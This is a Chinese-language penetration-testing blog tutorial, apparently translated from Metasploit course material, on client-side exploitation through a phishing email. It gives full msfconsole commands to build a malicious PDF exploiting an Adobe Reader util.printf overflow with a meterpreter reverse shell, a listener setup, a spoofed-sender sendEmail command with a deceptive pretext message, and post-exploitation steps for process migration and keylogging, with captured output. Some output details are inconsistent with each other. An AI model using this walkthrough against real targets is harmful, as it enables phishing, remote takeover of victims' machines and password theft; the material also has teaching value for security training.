不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

METASPLOIT中的客户端漏洞利用

Metasploit有许多用途,将在这里讨论的另一种用途是客户端漏洞利用。为了展示如何在客户端漏洞利用中使用MSF的强大功能。

在安全领域,社会工程学已成为越来越常用的攻击媒介。即使技术在不断变化,但似乎保持不变的一件事是人们缺乏安全性。因此,社会工程学已成为当今安全世界中非常“热门”的话题。

在我们的第一种情况下,攻击者一直在使用Metasploit框架,Maltego等工具进行大量信息收集,以收集电子邮件地址和信息以对受害者发起社会工程客户端攻击。

在成功进行垃圾箱潜水并从网上抓取电子邮件之后,他获得了两个关键信息。

1)他们使用“最佳计算机”提供技术服务。

2)IT部门的电子邮件地址为itdept@victim.com

我们希望在IT部门的计算机上安装外壳,并运行键盘记录器以获取密码,英特尔或任何其他有价值的信息。

我们首先加载msfconsole。加载后,我们要创建一个恶意PDF,使受害者在打开它时有一种安全感。为此,它必须看起来合法,标题真实,并且不能被防病毒或其他安全警报软件标记。

我们将使用Adobe Reader’util.printf()’JavaScript函数堆栈缓冲区溢出漏洞。Adobe Reader容易出现基于堆栈的缓冲区溢出漏洞,因为该应用程序无法对用户提供的数据执行适当的边界检查。攻击者可以利用此问题利用运行应用程序的用户的特权执行任意代码,或者使应用程序崩溃,从而拒绝向合法用户提供服务。

因此,我们首先创建用于此客户端漏洞的恶意PDF文件。

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME => BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

   Name      Current Setting                        Required  Description
   ----      ---------------                        --------  -----------
   FILENAME  BestComputers-UpgradeInstructions.pdf  yes       The file name.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.8.128    yes       The listen address
   LPORT     4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)

一旦所有选项都设置好所需的方式,便可以运行利用漏洞创建恶意文件。

msf exploit(adobe_utilprintf) > exploit

[*] Creating 'BestComputers-UpgradeInstructions.pdf' file...
[*] BestComputers-UpgradeInstructions.pdf stored at /root/.msf4/local/BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) >

因此,我们可以看到我们的pdf文件是在我们所在的子目录中创建的。因此,让我们将其复制到我们的/ tmp目录中,以便日后在漏洞利用程序中更容易定位。在将恶意文件发送给受害者之前,我们需要设置一个侦听器以捕获此反向连接。我们将使用msfconsole设置多处理程序侦听器。

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

现在,他们正在等待接收其恶意负载,我们必须提供这种有效载荷的受害者,因为在我们的信息收集,我们得到IT部门的电子邮件地址,我们将使用称为方便的小脚本sendEmail提供这种有效载荷的受害者。使用功夫单线,我们可以附加恶意pdf,使用所需的任何smtp服务器并从所需的任何地址编写令人信服的电子邮件……。

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

Best Computers Tech Support
Aug 24 17:32:51 kali sendEmail[13144]: Message input complete.
Aug 24 17:32:51 kali sendEmail[13144]: Email was sent successfully!

正如我们在这里看到的,脚本允许我们放置任何FROM(-f)地址,任何TO(-t)地址,任何SMTP(-s)服务器以及标题(-u)和我们的恶意附件(-a)。完成所有操作并按Enter后,我们可以输入所需的任何消息,然后按CTRL + D,这会将电子邮件发送给受害者。

现在,在受害者的机器上,我们的IT部门员工正在忙碌着,并登录他的计算机以查看其电子邮件。

他会看到非常重要的文档,并像往常一样将其复制到桌面上,也可能使用自己喜欢的防病毒程序对其进行扫描。

如我们所见,它传递的信息表达重要,因此IT管理员愿意打开此文件以快速实施这些非常重要的升级。单击该文件将打开Adobe,但会显示一个灰色的窗口,从不显示PDF。相反,在攻击者的计算机上显示了什么……。

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
session[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322)

meterpreter >

现在,我们通过恶意的PDF客户端利用程序在他们的计算机上安装了外壳。当然,此时明智的做法是将外壳移到其他进程,因此当它们关闭Adobe时,我们不会丢失外壳。然后获取系统信息,启动按键记录器并继续利用网络。

meterpreter > ps

Process list
============

    PID   Name            Path                                 
    ---   ----            ----                                 
    852   taskeng.exe     C:\Windows\system32\taskeng.exe      
    1308  Dwm.exe         C:\Windows\system32\Dwm.exe          
    1520  explorer.exe    C:\Windows\explorer.exe              
    2184  VMwareTray.exe  C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    2196  VMwareUser.exe  C:\Program FilesVMware\VMware Tools\VMwareUser.exe
    3176  iexplore.exe    C:\Program Files\Internet Explorer\iexplore.exe
    3452  AcroRd32.exe    C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe

meterpreter > run post/windows/manage/migrate 

[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)

meterpreter > sysinfo
Computer: OFFSEC-PC
OS      : Windows Vista (Build 6000, ).

meterpreter > use priv
Loading extension priv...success.

meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against V-MAC-XP
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
[*] Recording keystrokes...

root@kali:~# cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
Keystroke log started at Wed Mar 23 09:18:36 -0600 2011
Support,   I tried to open ti his file 2-3 times with no success.  I even had my admin and CFO tru   y it, but no one can get it to p open.  I turned on the rmote access server so you can log in to fix our p         this problem.  Our user name is admin and password for that session is 123456.   Call or eme ail when you are done.   Thanks IT Dept
赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » METASPLOIT中的客户端漏洞利用

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏